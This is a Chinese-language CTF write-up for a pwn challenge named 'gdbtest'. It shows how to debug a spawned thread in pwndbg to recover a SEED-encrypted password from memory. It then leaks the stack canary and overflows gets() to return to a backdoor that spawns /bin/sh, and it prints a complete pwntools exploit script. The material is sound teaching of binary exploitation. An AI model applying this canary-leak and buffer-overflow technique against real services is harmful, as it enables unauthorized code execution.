本文最后更新于:2023年3月10日 晚上
本题为了测试在一种反调试或提高调试难度的机制下选手对于gdb的熟练应用能力。
本文作者将文件命名为gdbtest。
checksec:
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char **argv, const char **envp) { pthread_t newthread[2];
newthread[1] = __readfsqword(0x28u); pthread_create(newthread, 0LL, work, 0LL); pthread_join(newthread[0], 0LL); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 __fastcall work(void *a1) { char v2[256]; __int64 v3[2]; __int64 s2[2]; char buf[16]; char v6[24]; unsigned __int64 v7;
v7 = __readfsqword(0x28u); v3[0] = 0xBA0033020LL; v3[1] = 0xC0000000D00000CLL; s2[0] = 0x706050403020100LL; s2[1] = 0xF0E0D0C0B0A0908LL; SEED_KeySchedKey(v2, v3); SEED_Encrypt(s2, v2); init_io(); puts("hopefully you have used checksec"); puts("enter your pass word"); read(0, buf, 0x10uLL); if ( !memcmp(buf, s2, 0x10uLL) ) { write(1, v6, 0x100uLL); gets(v6); } else { read(0, v6, 0x10uLL); } return __readfsqword(0x28u) ^ v7; }
|
pthread_create(newthread, 0LL, work, 0LL);
创建了一个调用work函数的线程,该函数会自动调用的线程并执行需要执行的函数,注意,在newthread处有一个数组名对于指针的隐式转换。(注:在C/CPP(其他语言暂未研究)中,数组与指针并不同,数组名不是指针。详细内容可自行研究汇编或直接使用在C++11中添加的新特性decltype()和std::is_same_v<, >。)
在work函数中,其实主要映入眼帘以及亟待解决的是memcmp(buf, s2, 0x10uLL)
部分,我们发现s2原本是处于栈空间内的,而前面的key和encrypt加密好像很复杂,直接去解密是相当的不现实,这可怎么比较?有规律还是固定?于是想着调试一下,在exp中写gdb.attach(io)
。诶,问题来了,怎么好像就和没有attach到一样?
于是这种类型便出现了两种调试到memcpy处的方式:
第一种,直接使用pwngdb,当使用ni指令逐步调试到pthread_create函数执行完毕之后,pthread_join执行之前,使用i threads
指令,发现多了一个线程,这个就是执行work函数的位置,于是我们可以使用thread 2
前往create后的线程,然后再使用ni指令,便是work函数的位置了。
调试到memcpy处:
1 2 3 4
| ► 0x40138b <work+210> call memcmp@plt <memcmp@plt> s1: 0x7ffff77c1ec0 ◂— 0xa /* '\n' */ s2: 0x7ffff77c1eb0 ◂— 0xb0361e0e8294f147 n: 0x10
|
工具这里其实也有一个隐式类型转换,但已经告诉我们地址了,直接去s2的地址去查就好了:
1 2 3 4 5 6 7 8
| pwndbg> telescope 0x7ffff77c1eb0 00:0000│ rcx rsi 0x7ffff77c1eb0 ◂— 0xb0361e0e8294f147 01:0008│ 0x7ffff77c1eb8 ◂— 0x8c09e0c34ed8a6a9 02:0010│ rax rdi 0x7ffff77c1ec0 ◂— 0xa /* '\n' */ 03:0018│ 0x7ffff77c1ec8 ◂— 0x0 ... ↓ 2 skipped 06:0030│ 0x7ffff77c1ee0 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700 07:0038│ 0x7ffff77c1ee8 ◂— 0x27a6ad13210ebf00
|
或
1 2
| pwndbg> x/2a 0x7ffff77c1eb0 0x7ffff77c1eb0: 0xb0361e0e8294f147 0x8c09e0c34ed8a6a9
|
那么其实memcpy的内容就很明确了,但是由于需要小端法,那么第一次输入其实可以写成:
1
| payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
|
之后其实就没什么特殊的了,通过占位泄露canary,然后接收,最后再利用gets函数去构造ret2text。
哦对的,是ret2text,忘上后门地址了:
1 2 3 4
| int b4ckd00r() { return execv("/bin/sh", 0LL); }
|
然后是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * io = process('./gdbtest') elf = ELF('./gdbtest')
backdoor = 0x401256 payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9) io.recvuntil(b'word\n') io.send(payload) io.recv(0x18) canary = u64(io.recv(8)) log.success("canary: " + (hex(canary))) payload = b'a' * (0x20 - 0x08) + p64(canary) + p64(0) + p64(backdoor) io.sendline(payload) io.interactive()
|
其实大家可以记一下各种函数都返回什么,例如pxx返回bytes,uxx返回int等等,可能对后续payload的构建更有心得,例如说recv接收多少啊接收什么啊什么的。